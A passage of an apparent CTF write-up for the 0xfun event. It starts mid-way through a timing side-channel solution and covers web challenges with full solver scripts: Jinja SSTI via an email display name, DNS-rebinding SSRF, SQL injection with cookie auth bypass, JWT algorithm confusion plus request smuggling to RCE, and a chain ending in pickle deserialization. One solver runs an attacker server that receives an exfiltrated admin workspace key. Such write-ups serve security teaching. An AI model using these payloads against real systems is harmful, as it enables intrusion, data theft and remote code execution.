2. For a comparison like `flag[pos] <= mid`, if both universes agree, the output matches. If they disagree, output diverges.
3. The server reports per-universe execution times (`time_a`, `time_b`), so `time.sleep()` can distinguish universes.

**Algorithm:** For each character position, binary search over ASCII values:

* First query uses the **divergence oracle**: submit code that prints 'A' if `flag[pos] <= mid`, else 'B'. If status is "match", both universes agree and we narrow both ranges identically.
* If status is "diverged", the flags differ at this comparison point. Fall back to **timing**: submit code that sleeps 150ms if `flag[pos] <= mid`. Check `time_a` vs `time_b` to determine which universe satisfied the condition.

This gives \~7 queries per character × 34 unknown characters ≈ 238 queries total.

```python
#!/usr/bin/env python3
import hashlib, json, time, urllib.request, sys

HOST = "http://chall.0xfun.org:48401/api/submit"
SLEEP = 0.15
TIME_THRESH = 0.08

def proof_of_work(difficulty=4):
    target = "0" * difficulty
    nonce = 0
    while True:
        token = f"{time.time_ns()}-{nonce}".encode()
        if hashlib.sha256(token).hexdigest().startswith(target):
            return token.decode()
        nonce += 1

def submit(code):
    payload = json.dumps({"code": code}).encode()
    req = urllib.request.Request(HOST, data=payload, method="POST")
    req.add_header("Content-Type", "application/json")
    req.add_header("X-Pow-Nonce", proof_of_work())
    with urllib.request.urlopen(req, timeout=30) as r:
        data = json.loads(r.read().decode())
    return data

def query_diverge(pos, mid):
    """Divergence oracle: returns 'both_leq', 'both_gt', or 'split'."""
    code = f"f=open('/flag.txt').read().strip()\nprint('A' if ord(f[{pos}])<={mid} else 'B')"
    r = submit(code)
    if r["status"] == "match":
        return "both_leq" if r["stdout"].strip() == "A" else "both_gt"
    return "split"

def query_timing(pos, mid):
    """Timing oracle: returns (a_leq, b_leq) booleans."""
    code = (f"import time\nf=open('/flag.txt').read().strip()\n"
            f"if ord(f[{pos}])<={mid}:time.sleep({SLEEP})\nprint('ok')")
    r = submit(code)
    return r["time_a"] > TIME_THRESH, r["time_b"] > TIME_THRESH

def recover_char_pair(pos):
    lo_a, hi_a = 32, 126
    lo_b, hi_b = 32, 126
    while lo_a < hi_a or lo_b < hi_b:
        mid_a = (lo_a + hi_a) // 2 if lo_a < hi_a else None
        mid_b = (lo_b + hi_b) // 2 if lo_b < hi_b else None
        mid = max(m for m in [mid_a, mid_b] if m is not None)
        result = query_diverge(pos, mid)
        if result == "both_leq":
            if lo_a < hi_a: hi_a = mid
            if lo_b < hi_b: hi_b = mid
        elif result == "both_gt":
            if lo_a < hi_a: lo_a = mid + 1
            if lo_b < hi_b: lo_b = mid + 1
        else:
            a_leq, b_leq = query_timing(pos, mid)
            if lo_a < hi_a:
                if a_leq: hi_a = mid
                else: lo_a = mid + 1
            if lo_b < hi_b:
                if b_leq: hi_b = mid
                else: lo_b = mid + 1
    return chr(lo_a), chr(lo_b)

flag_a, flag_b = "0xfun{", "0xfun{"
for pos in range(6, 40):
    ca, cb = recover_char_pair(pos)
    flag_a += ca; flag_b += cb
    print(f"[{pos:2d}] A='{ca}' B='{cb}'  A={flag_a}  B={flag_b}", flush=True)
flag_a += "}"; flag_b += "}"
print(f"\nFlag A: {flag_a}\nFlag B: {flag_b}")
```

**Flag:** `0xfun{schr0d1ng3r_c4t_l34ks_thr0ugh_t1m3}`

***

## web

### Jinja

#### Description

The app generates a welcome email by validating user input with Pydantic `EmailStr`, then embedding the (supposedly safe) email into an HTML string and rendering it as a Jinja2 template:

```py
return Template(email_template % (email)).render()
```

Because the email string is inserted into the template *source* before rendering, any `{{ ... }}` inside the email becomes server-side template injection (SSTI).

#### Solution

1. Confirm SSTI with `{{7*7}}` and observe it evaluates server-side.
2. The input is validated as an email, which blocks many characters in a normal local-part. The bypass is that `email-validator` accepts RFC 5322 "name-addr" syntax: `Display Name <addr@domain>`.
3. Put the SSTI in the display-name and keep the actual address inside `<...>` simple. Example: `{{7*7}} <a@t.co>`.
4. Quote the display-name to allow characters like spaces/parentheses, enabling function calls. Example: `"{{lipsum()}}" <a@t.co>`.
5. Use Jinja's built-in `lipsum` function to reach Python globals (`lipsum.__globals__` includes `os`) and execute the SUID helper `/getflag`. Example: `"{{lipsum.__globals__.os.popen('/getflag').read()}}" <a@t.co>`.

**Exploit code (end-to-end):**

```py
#!/usr/bin/env python3
import re
import sys

import requests


def main() -> int:
    base = sys.argv[1] if len(sys.argv) > 1 else "http://chall.0xfun.org:50306"

    # email-validator accepts RFC 5322 name-addr; we inject SSTI in the quoted display-name
    payload = "{{lipsum.__globals__.os.popen('/getflag').read()}}"
    email = f"\"{payload}\" <a@t.co>"

    r = requests.post(f"{base}/render", data={"email": email}, timeout=10)
    r.raise_for_status()

    m = re.search(r"0xfun\{[^}]+\}", r.text)
    if not m:
        raise SystemExit("Flag not found in response")

    print(m.group(0))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

### Webhook Service

#### Description

A webhook registration/trigger service that blocks requests to internal IPs. An internal flag server runs on `127.0.0.1:5001` and serves the flag on `POST /flag`. The app checks URLs against private/loopback/reserved IP ranges using `socket.gethostbyname()` + `ipaddress` before both registering and triggering webhooks.

#### Solution

**Vulnerability:** DNS Rebinding SSRF (TOCTOU). The `/trigger` endpoint resolves the hostname twice — once in `is_ip_allowed()` via `socket.gethostbyname()`, and again in `requests.post()` via `socket.getaddrinfo()`. With no DNS caching in the Docker container (Debian slim, no nscd), each call makes a fresh DNS query.

**Exploit:** Use the `1u.ms` DNS rebinding service which alternates responses between two IPs in round-robin mode. Register a webhook pointing to `http://{random}.make-8.8.8.8-rebind-127.0.0.1-rr.1u.ms:5001/flag`, then repeatedly trigger it. When the DNS alternation aligns so that `is_ip_allowed()` gets `8.8.8.8` (passes check) and `requests.post()` gets `127.0.0.1` (connects to internal flag server), the flag is returned.

```python
#!/usr/bin/env python3
import requests
import random
import string
import re

TARGET = "http://chall.0xfun.org:47036"

for attempt in range(200):
    rand = ''.join(random.choices(string.ascii_lowercase, k=8))
    rebind_domain = f"{rand}.make-8.8.8.8-rebind-127.0.0.1-rr.1u.ms"
    webhook_url = f"http://{rebind_domain}:5001/flag"

    resp = requests.post(f"{TARGET}/register", data={"url": webhook_url}, timeout=10)
    if resp.status_code != 200:
        continue
    webhook_id = resp.json()["id"]

    for _ in range(10):
        try:
            resp = requests.post(f"{TARGET}/trigger", data={"id": webhook_id}, timeout=10)
            if "0xfun{" in resp.text:
                flag = re.search(r'0xfun\{[^}]+\}', resp.text).group()
                print(f"FLAG: {flag}")
                exit(0)
        except:
            pass

print("No flag found")
```

**Flag:** `0xfun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}`

### Tony Toolkit

#### Description

Tony decided to launch bug bounties on his website for the first time, so it's likely to have some very common vulnerabilities. A Flask/Werkzeug web application with search, login, and user profile functionality.

#### Solution

**Step 1: Discover hidden files via `robots.txt`**

```
GET /robots.txt
```

Reveals:

* `/main.pyi` - Application source code
* `/user` - User profile page
* `/secret/hints.txt` - Hints

**Step 2: Analyze the source code (`/main.pyi`)**

The source reveals three vulnerabilities:

1. **SQL Injection** in `/search`: The `item` parameter is directly concatenated into the SQL query:

   ```python
   query = "SELECT name, price FROM Products WHERE name LIKE '%" + str(item) + "%';"
   ```
2. **Broken authentication** in `is_logged_in()`: The function iterates over all users and checks `if sha256(...).hexdigest()` - but `sha256().hexdigest()` always returns a non-empty string (truthy), so this **always returns True** as long as any users exist in the database. It never actually validates the `user` cookie value.
3. **File read** in `/user`: Reads `users/<userID>` where `userID` comes from a cookie (but is cast to `int`, preventing path traversal).

**Step 3: Exploit SQL injection to confirm users exist**

```
GET /search?item=' UNION SELECT username, password FROM Users--
```

Returns two users: `Admin` (ID=1) and `Jerry` (ID=2).

**Step 4: Bypass authentication via cookie manipulation**

Since `is_logged_in()` never validates the cookie value, simply setting any `user` cookie along with `userID=1` bypasses authentication entirely:

```bash
curl -b "userID=1;user=anything" "http://chall.0xfun.org:53039/user"
```

This returns the flag from the Admin's profile file at `users/1`.

**Flag:** `0xfun{T0ny'5_T00ly4rd._1_H0p3_Y0u_H4d_Fun_SQL1ng,_H45H_Cr4ck1ng,_4nd_W1th_C00k13_M4n1pu74t10n}`

```bash
# Full solve one-liner:
curl -s -b "userID=1;user=x" "http://chall.0xfun.org:53039/user" | grep -oP '0xfun\{[^}]+\}'
```

### SkyPort Ops

#### Description

FastAPI + Strawberry GraphQL app sits behind a custom “SecurityGateway” reverse proxy. The gateway blocks any path starting with `/internal/`. The backend contains an admin-only upload endpoint (`/internal/upload`) with an arbitrary file write when the uploaded filename starts with `/`. The flag is readable only via a SUID helper at `/flag`.

#### Solution

1. **Leak staff JWT via GraphQL Relay node**
   * The GraphQL `node(id: ...)` interface exposes `StaffNode.accessToken`.
   * Relay global ID for officer\_chen is `base64("StaffNode:2")`.
2. **Get per-worker JWKS endpoint**
   * The leaked staff JWT payload contains `jwks_uri` (a random `/api/<hex>` route).
   * Important: **Hypercorn runs multiple workers** and each worker generates its own RSA key + JWKS path at import time, so the JWKS must be fetched from the **same worker connection** that served the JWT.
3. **Forge an admin JWT (algorithm confusion)**
   * Backend verifies admin tokens with `jose_jwt.decode(token, RSA_PUBLIC_DER, algorithms=None)`.
   * With `algorithms=None`, python-jose accepts `HS256`. If we sign with `HS256` using the RSA public key DER bytes as the HMAC secret, verification succeeds.
4. **Bypass the gateway `/internal/` block (CL-TE request smuggling)**
   * The gateway frames request bodies using `Content-Length`, while Hypercorn/h11 honors `Transfer-Encoding: chunked`.
   * Send a front request like:
     * `POST /graphql` with both `Content-Length: X` and `Transfer-Encoding: chunked`
     * body begins with `0\r\n\r\n` (ends chunked body) followed by a full smuggled `POST /internal/upload ...`
   * The backend processes the smuggled internal request, but the gateway associates that response with the next client request (response queue poisoning).
5. **Turn arbitrary file write into code execution**
   * The container creates the venv with `--system-site-packages`, which makes `site.ENABLE_USER_SITE = True`.
   * That means Python auto-imports `usercustomize` from the user site-packages path:
     * `/home/skyport/.local/lib/python3.11/site-packages/usercustomize.py`
   * Upload a malicious `usercustomize.py` that runs `/flag` (SUID root) and writes the output to `/tmp/skyport_uploads/flag.txt` (served at `/uploads/flag.txt`).
   * Trigger Hypercorn worker recycling (`--max-requests 100`) by sending many requests; the new worker process imports `usercustomize` and executes the payload.
6. **Read the flag**
   * `GET /uploads/flag.txt`

**Solver**

```python
#!/usr/bin/env python3
import base64
import json
import os
import socket
import sys
import time
from typing import Dict, Tuple, Optional

import requests
from jose import jwt as jose_jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.serialization import load_pem_public_key


def _b64url_json(segment: str) -> dict:
    segment += "=" * ((4 - (len(segment) % 4)) % 4)
    return json.loads(base64.urlsafe_b64decode(segment.encode()))


def _parse_target(target: str) -> Tuple[str, int, str]:
    target = target.strip()
    if target.endswith("/"):
        target = target[:-1]
    if target.startswith("http://"):
        target = target[len("http://") :]
    elif target.startswith("https://"):
        target = target[len("https://") :]
    if "/" in target:
        target = target.split("/", 1)[0]
    if ":" in target:
        host, port_s = target.rsplit(":", 1)
        return host, int(port_s), "http"
    return target, 80, "http"


def _recv_exact(sock: socket.socket, n: int) -> bytes:
    out = b""
    while len(out) < n:
        chunk = sock.recv(n - len(out))
        if not chunk:
            break
        out += chunk
    return out


def _recv_until(sock: socket.socket, marker: bytes, max_bytes: int = 10_000_000) -> bytes:
    buf = b""
    while marker not in buf:
        chunk = sock.recv(4096)
        if not chunk:
            break
        buf += chunk
        if len(buf) > max_bytes:
            raise RuntimeError("response too large")
    return buf


def _parse_headers(hdr_blob: bytes) -> Tuple[int, Dict[str, str]]:
    lines = hdr_blob.split(b"\r\n")
    status_line = lines[0].decode("utf-8", errors="replace")
    try:
        status = int(status_line.split(" ", 2)[1])
    except Exception:
        status = 0
    headers: Dict[str, str] = {}
    for line in lines[1:]:
        if not line or b":" not in line:
            continue
        k, v = line.split(b":", 1)
        headers[k.decode("utf-8", errors="replace").lower().strip()] = (
            v.decode("utf-8", errors="replace").strip()
        )
    return status, headers


def _read_chunked(sock: socket.socket, already: bytes) -> Tuple[bytes, bytes]:
    buf = already
    body = b""
    while True:
        while b"\r\n" not in buf:
            buf += sock.recv(4096)
        line, buf = buf.split(b"\r\n", 1)
        size = int(line.strip().split(b";", 1)[0], 16)
        if size == 0:
            # trailing headers + CRLF
            buf = (
                _recv_until(sock, b"\r\n\r\n", max_bytes=1_000_000)
                if b"\r\n\r\n" not in buf
                else buf
            )
            if b"\r\n\r\n" in buf:
                _, buf = buf.split(b"\r\n\r\n", 1)
            return body, buf
        while len(buf) < size + 2:
            buf += sock.recv(4096)
        body += buf[:size]
        buf = buf[size + 2 :]


def read_response(sock: socket.socket) -> Tuple[int, Dict[str, str], bytes]:
    raw = _recv_until(sock, b"\r\n\r\n")
    if b"\r\n\r\n" not in raw:
        raise RuntimeError("no response headers")
    hdr_blob, rest = raw.split(b"\r\n\r\n", 1)
    status, headers = _parse_headers(hdr_blob)
    te = headers.get("transfer-encoding", "").lower()
    if "chunked" in te:
        body, _ = _read_chunked(sock, rest)
        return status, headers, body
    cl = headers.get("content-length")
    if cl is None:
        return status, headers, rest
    n = int(cl)
    if len(rest) >= n:
        return status, headers, rest[:n]
    body = rest + _recv_exact(sock, n - len(rest))
    return status, headers, body


def send_request(
    sock: socket.socket,
    host: str,
    method: str,
    path: str,
    headers: Optional[Dict[str, str]] = None,
    body: bytes = b"",
) -> Tuple[int, Dict[str, str], bytes]:
    headers = dict(headers or {})
    headers.setdefault("Host", host)
    headers.setdefault("Connection", "keep-alive")
    if body and "content-length" not in {k.lower() for k in headers}:
        headers["Content-Length"] = str(len(body))
    req = f"{method} {path} HTTP/1.1\r\n".encode()
    for k, v in headers.items():
        req += f"{k}: {v}\r\n".encode()
    req += b"\r\n" + body
    sock.sendall(req)
    return read_response(sock)


def build_multipart(filename: str, content: bytes) -> Tuple[str, bytes]:
    boundary = "----skyport" + base64.b16encode(os.urandom(8)).decode().lower()
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="{filename}"\r\n'
        f"Content-Type: application/octet-stream\r\n\r\n"
    ).encode() + content + f"\r\n--{boundary}--\r\n".encode()
    return boundary, body


def smuggle_internal_upload(
    sock: socket.socket,
    host: str,
    admin_jwt: str,
    dst_filename: str,
    content: bytes,
) -> Tuple[int, bytes]:
    boundary, upload_body = build_multipart(dst_filename, content)
    smuggled = (
        f"POST /internal/upload HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Authorization: Bearer {admin_jwt}\r\n"
        f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
        f"Content-Length: {len(upload_body)}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode() + upload_body

    front_body = b"0\r\n\r\n" + smuggled
    front = (
        f"POST /graphql HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: application/json\r\n"
        f"Content-Length: {len(front_body)}\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode() + front_body

    sock.sendall(front)
    _ = read_response(sock)  # response to /graphql

    # next request will receive the queued /internal/upload response
    status, _, body = send_request(sock, host, "GET", "/")
    return status, body


def burn_requests_on_socket(sock: socket.socket, host: str, n: int = 140) -> None:
    for _ in range(n):
        try:
            send_request(sock, host, "GET", "/")
        except Exception:
            break


def main() -> int:
    if len(sys.argv) < 2:
        print(f"usage: {sys.argv[0]} http://host:port", file=sys.stderr)
        return 2
    target = sys.argv[1]
    host, port, _scheme = _parse_target(target)

    # Pin to one backend worker: single TCP connection through gateway.
    sock = socket.create_connection((host, port), timeout=10)
    sock.settimeout(10)

    relay_id = base64.b64encode(b"StaffNode:2").decode()
    gql = {"query": f'{{ node(id: "{relay_id}") {{ ... on StaffNode {{ accessToken }} }} }}'}
    status, _, body = send_request(
        sock,
        host,
        "POST",
        "/graphql",
        headers={"Content-Type": "application/json"},
        body=json.dumps(gql).encode(),
    )
    if status != 200:
        raise RuntimeError(f"graphql failed: {status} {body[:200]!r}")
    staff_jwt = json.loads(body)["data"]["node"]["accessToken"]
    jwks_uri = _b64url_json(staff_jwt.split(".", 2)[1])["jwks_uri"]

    status, _, body = send_request(sock, host, "GET", jwks_uri)
    if status != 200:
        raise RuntimeError(f"jwks failed: {status} {body[:200]!r}")
    pem_key_str = json.loads(body)["public_key"]
    public_key = load_pem_public_key(pem_key_str.encode())
    der_bytes = public_key.public_bytes(
        serialization.Encoding.DER, serialization.PublicFormat.SubjectPublicKeyInfo
    )
    admin_jwt = jose_jwt.encode({"sub": "admin", "role": "admin"}, der_bytes, algorithm="HS256")

    sitecustomize = (
        b"import pathlib,subprocess\n"
        b"try:\n"
        b"    out = subprocess.check_output(['/flag'], stderr=subprocess.STDOUT)\n"
        b"    pathlib.Path('/tmp/skyport_uploads/flag.txt').write_bytes(out)\n"
        b"except Exception as e:\n"
        b"    pathlib.Path('/tmp/skyport_uploads/flag.txt').write_text(repr(e))\n"
    )

    candidate_paths = [
        "/home/skyport/.local/lib/python3.11/site-packages/usercustomize.py",
        "/home/skyport/.local/lib/python3.11/site-packages/sitecustomize.py",
        "/home/skyport/sitecustomize.py",
        "/usr/local/lib/python3.11/site-packages/sitecustomize.py",
        "/app/venv/lib/python3.11/site-packages/sitecustomize.py",
        "/usr/local/lib/python3.11/sitecustomize.py",
    ]

    wrote_path: Optional[str] = None
    for p in candidate_paths:
        st, resp_body = smuggle_internal_upload(sock, host, admin_jwt, p, sitecustomize)
        if st == 200 and b"uploaded successfully" in resp_body:
            wrote_path = p
            break

    if not wrote_path:
        raise RuntimeError(
            "failed to write sitecustomize.py to any known sys.path candidate; "
            "need more writable path discovery"
        )

    # Force worker recycling (max-requests=100) so new interpreter imports sitecustomize.py
    burn_requests_on_socket(sock, host, n=180)
    try:
        sock.close()
    except Exception:
        pass

    sess = requests.Session()
    flag_url = f"http://{host}:{port}/uploads/flag.txt"
    for _ in range(30):
        r = sess.get(flag_url, timeout=5)
        if r.status_code == 200 and "0xfun{" in r.text:
            print(r.text.strip())
            return 0
        time.sleep(0.5)
    raise RuntimeError(f"flag not found at {flag_url} (wrote {wrote_path})")


if __name__ == "__main__":
    raise SystemExit(main())
```

### Perimeter Drift

#### Description

Web app with multiple “trust boundary” components (SSO, reviewer workflow, admin bot, internal import pipeline). Goal is to cross boundaries to reach the privileged import path and gain code execution in the internal service, then read the flag.

#### Solution

The full chain is:

1. Forge an SSO `id_token`:
   * Server claims to accept `RS256`, but verifies with `HMAC-SHA256`.
   * It also accepts `jku` and fetches attacker-controlled JWKS, caching a symmetric `k` per `kid`.
   * Host a JWKS that supplies `k`, then sign the token with HMAC and log in as the seeded SSO user (`nora.v`).
2. Escalate to reviewer:
   * Reviewer grant verification reads HMAC key bytes from `KEYS_DIR / f"{kid}.pem"`.
   * Upload a `.pem` file into `/var/app/review-materials/…` and set `kid=../review-materials/<stem>` to path-traverse out of `KEYS_DIR`.
   * Sign a grant JWT with the uploaded bytes; `/review/escalate` sets session role to `reviewer`.
3. Use the admin bot to exfil a valid `workspace_key`:
   * As `reviewer`, `/report` queues the Playwright bot to visit an arbitrary URL with a real admin session cookie.
   * Serve an attacker page that iframes `/admin?cb=<attacker>/cb`, then navigates the iframe to `/back` (attacker page) which calls `history.back()`.
   * The `/admin` page’s `admin.js` has a `pageshow` handler that detects back/forward navigation and redirects to `cb?workspace_key=…`.
   * Capture the `workspace_key` from that request.
4. RCE through admin import pipeline:
   * `/admin/upload` stores an uploaded artifact when `X-Workspace-Key` is valid.
   * `/admin/xml/import` requires XInclude `file://…` references under `/var/app/uploads/`, then XIncludes, base64-decodes text, and POSTs bytes to the internal service.
   * Internal service does `pickle.loads(data)` → code execution.
   * Use a pickle payload that copies `/flag.txt` to `/shared/loot/flag.txt`, then read it via `/recovery/latest`.

Run the solver locally: `python3 -u solve.py`

If the workspace key leak times out on Linux Docker hosts where `host.docker.internal` is not available, run with an IP reachable from the bot container (commonly the Docker bridge gateway), e.g.: `EXTERNAL_HOST=172.17.0.1 WEB_HOST_FOR_BOT=172.17.0.1:5000 python3 -u solve.py`

Flag (author-verified): `0xfun{y0u_5ucc3ssfu11y_dr1f73d_4ll_7h3_w4y_thr0ugh_7h3_b0und4r1s5}`

Solver code (`solve.py`):

```python
#!/usr/bin/env python3
"""
Perimeter Drift (local) solve script.

Constraints: do NOT use the docker-compose default creds; use the intended trust-boundary breaks.
"""

from __future__ import annotations

import base64
import hashlib
import hmac
import json
import os
import pickle
import secrets
import threading
import time
import urllib.parse
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path

import requests


BASE = os.environ.get("TARGET", "http://localhost:5000").rstrip("/")
EXTERNAL_HOST = os.environ.get("EXTERNAL_HOST", "host.docker.internal")
WEB_HOST_FOR_BOT = os.environ.get("WEB_HOST_FOR_BOT", "host.docker.internal:5000")
WEB_BASE_FOR_BOT = f"http://{WEB_HOST_FOR_BOT}".rstrip("/")


def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def jwt_hs256(header: dict, payload: dict, key: bytes) -> str:
    header_b64 = b64url_encode(json.dumps(header, separators=(",", ":")).encode())
    payload_b64 = b64url_encode(json.dumps(payload, separators=(",", ":")).encode())
    signing_input = f"{header_b64}.{payload_b64}".encode()
    sig = hmac.new(key, signing_input, hashlib.sha256).digest()
    return f"{header_b64}.{payload_b64}.{b64url_encode(sig)}"


def make_pickle_payload() -> bytes:
    class _Exploit:
        def __reduce__(self):
            return (os.system, ("cp /flag.txt /shared/loot/flag.txt",))

    return pickle.dumps(_Exploit())


class _State:
    def __init__(self):
        self.sso_kid = f"kid-{secrets.token_hex(4)}"
        self.sso_secret = f"secret-{secrets.token_urlsafe(16)}"
        self.workspace_key: str | None = None
        self.workspace_event = threading.Event()


def _start_attacker_server(state: _State) -> tuple[ThreadingHTTPServer, threading.Thread, int]:
    class Handler(BaseHTTPRequestHandler):
        server_version = "perimeter-drift-attacker/1.0"

        def _send(self, status: int, body: bytes, content_type: str = "text/plain; charset=utf-8"):
            self.send_response(status)
            self.send_header("Content-Type", content_type)
            self.send_header("Cache-Control", "no-store")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)

        def do_GET(self):  # noqa: N802
            parsed = urllib.parse.urlparse(self.path)
            if parsed.path == "/jwks.json":
                jwks = {"keys": [{"kid": state.sso_kid, "k": state.sso_secret}]}
                body = json.dumps(jwks).encode()
                return self._send(HTTPStatus.OK, body, "application/json; charset=utf-8")

            if parsed.path == "/cb":
                qs = urllib.parse.parse_qs(parsed.query)
                wk = (qs.get("workspace_key") or [""])[0].strip()
                if wk and not state.workspace_event.is_set():
                    state.workspace_key = wk
                    state.workspace_event.set()
                body = b"ok\n"
                return self._send(HTTPStatus.OK, body)

            if parsed.path == "/":
                attacker_origin = f"http://{EXTERNAL_HOST}:{self.server.server_port}"
                cb = f"{attacker_origin}/cb"
                admin_url = f"{WEB_BASE_FOR_BOT}/admin?cb={urllib.parse.quote(cb, safe='')}"
                html = f"""<!doctype html>
<meta charset="utf-8">
<title>drift</title>
<body>
  <iframe id="f" style="width:1px;height:1px;border:0;position:absolute;left:-9999px;top:-9999px"></iframe>
  <script>
    const f = document.getElementById("f");
    f.src = {json.dumps(admin_url)};
    setTimeout(() => {{
      f.src = {json.dumps(attacker_origin + "/back")};
    }}, 1800);
  </script>
</body>
"""
                return self._send(HTTPStatus.OK, html.encode(), "text/html; charset=utf-8")

            if parsed.path == "/back":
                html = """<!doctype html>
<meta charset="utf-8">
<title>back</title>
<body>
  <script>
    setTimeout(() => history.back(), 300);
  </script>
</body>
"""
                return self._send(HTTPStatus.OK, html.encode(), "text/html; charset=utf-8")

            return self._send(HTTPStatus.NOT_FOUND, b"not found\n")

        def log_message(self, _format, *_args):  # silence
            return

    httpd = ThreadingHTTPServer(("0.0.0.0", 0), Handler)
    port = httpd.server_port
    thread = threading.Thread(target=httpd.serve_forever, kwargs={"poll_interval": 0.05}, daemon=True)
    thread.start()
    return httpd, thread, port


def _sso_login(session: requests.Session, attacker_port: int, state: _State):
    jku = f"http://{EXTERNAL_HOST}:{attacker_port}/jwks.json"
    header = {"alg": "RS256", "kid": state.sso_kid, "jku": jku}
    payload = {
        "iss": "https://sso.partner.local",
        "aud": "perimeter-drift-web",
        "sub": f"sub-{secrets.token_hex(8)}",
        "email": f"nora.vale{secrets.token_hex(3)}@drift.com",
        "name": "Nora Vale",
        "exp": int(time.time()) + 300,
    }
    token = jwt_hs256(header, payload, state.sso_secret.encode())
    r = session.get(f"{BASE}/sso/callback", params={"id_token": token}, allow_redirects=True, timeout=10)
    if r.status_code != 200:
        raise RuntimeError(f"SSO callback unexpected status: {r.status_code}")
    me = session.get(f"{BASE}/api/me", timeout=10).json()
    if me.get("role") != "researcher":
        raise RuntimeError(f"SSO login failed, /api/me = {me}")


def _escalate_to_reviewer(session: requests.Session) -> None:
    key_bytes = secrets.token_bytes(32)
    name = f"grant-{secrets.token_hex(4)}.pem"
    r = session.post(
        f"{BASE}/review/material/upload",
        files={"file": (name, key_bytes, "application/octet-stream")},
        timeout=10,
    )
    r.raise_for_status()
    stored = r.json().get("filename") or ""
    if not stored.endswith(".pem"):
        raise RuntimeError(f"unexpected stored filename: {stored}")

    stem = Path(stored).stem
    kid = f"../review-materials/{stem}"
    header = {"alg": "HS256", "kid": kid}
    payload = {"scope": "report:submit", "iat": int(time.time())}
    grant = jwt_hs256(header, payload, key_bytes)

    r = session.post(f"{BASE}/review/escalate", data={"grant": grant}, allow_redirects=True, timeout=10)
    if r.status_code != 200:
        raise RuntimeError(f"review/escalate unexpected status: {r.status_code}")
    me = session.get(f"{BASE}/api/me", timeout=10).json()
    if me.get("role") != "reviewer":
        raise RuntimeError(f"reviewer escalation failed, /api/me = {me}")


def solve() -> str:
    state = _State()
    httpd, _thread, port = _start_attacker_server(state)
    attacker_url_for_containers = f"http://{EXTERNAL_HOST}:{port}/"

    s = requests.Session()
    try:
        print(f"[*] Attacker server listening on :{port}")
        print("[*] SSO auth bypass (jku + HS256 under RS256)...")
        _sso_login(s, attacker_port=port, state=state)
        print("[+] Logged in as researcher via forged SSO token")

        print("[*] Reviewer escalation (kid path traversal -> HMAC key = uploaded file)...")
        _escalate_to_reviewer(s)
        print("[+] Escalated session to reviewer")

        print(f"[*] Triggering admin bot visit to {attacker_url_for_containers} ...")
        r = s.post(f"{BASE}/report", data={"url": attacker_url_for_containers}, allow_redirects=True, timeout=10)
        if r.status_code != 200:
            raise RuntimeError(f"/report unexpected status: {r.status_code}")

        print("[*] Waiting for workspace key exfil via /admin pageshow(back_forward)...")
        if not state.workspace_event.wait(timeout=40):
            raise RuntimeError("timed out waiting for workspace_key callback")
        workspace_key = state.workspace_key
        if not workspace_key:
            raise RuntimeError("workspace_key missing after callback")
        print(f"[+] workspace_key = {workspace_key}")

        print("[*] Uploading base64 pickle payload...")
        payload_b64 = base64.b64encode(make_pickle_payload())
        r = s.post(
            f"{BASE}/admin/upload",
            headers={"X-Workspace-Key": workspace_key},
            files={"file": ("payload.b64", payload_b64, "text/plain")},
            timeout=10,
        )
        r.raise_for_status()
        upload_path = (r.json() or {}).get("path") or ""
        if not upload_path:
            raise RuntimeError(f"admin/upload returned unexpected body: {r.text[:200]}")
        print(f"[+] Uploaded to {upload_path}")

        print("[*] Triggering XInclude -> base64 decode -> pickle.loads() in internal service...")
        xml = (
            '<?xml version="1.0"?>'
            '<doc xmlns:xi="http://www.w3.org/2001/XInclude" sink="http://internal:9000/internal/import">'
            f'<xi:include href="file://{upload_path}" parse="text"/>'
            "</doc>"
        )
        r = s.post(
            f"{BASE}/admin/xml/import",
            headers={"X-Workspace-Key": workspace_key},
            data={"xml": xml},
            timeout=10,
        )
        r.raise_for_status()
        print(f"[+] Import queued: {r.text.strip()[:120]}")

        time.sleep(1.0)
        flag = s.get(f"{BASE}/recovery/latest", timeout=10).text.strip()
        print(f"[+] recovery/latest: {flag}")
        return flag
    finally:
        httpd.shutdown()


if __name__ == "__main__":
    out = solve()
    if "0xfun{" in out:
        print(f"\n[SUCCESS] Flag: {out}")
```
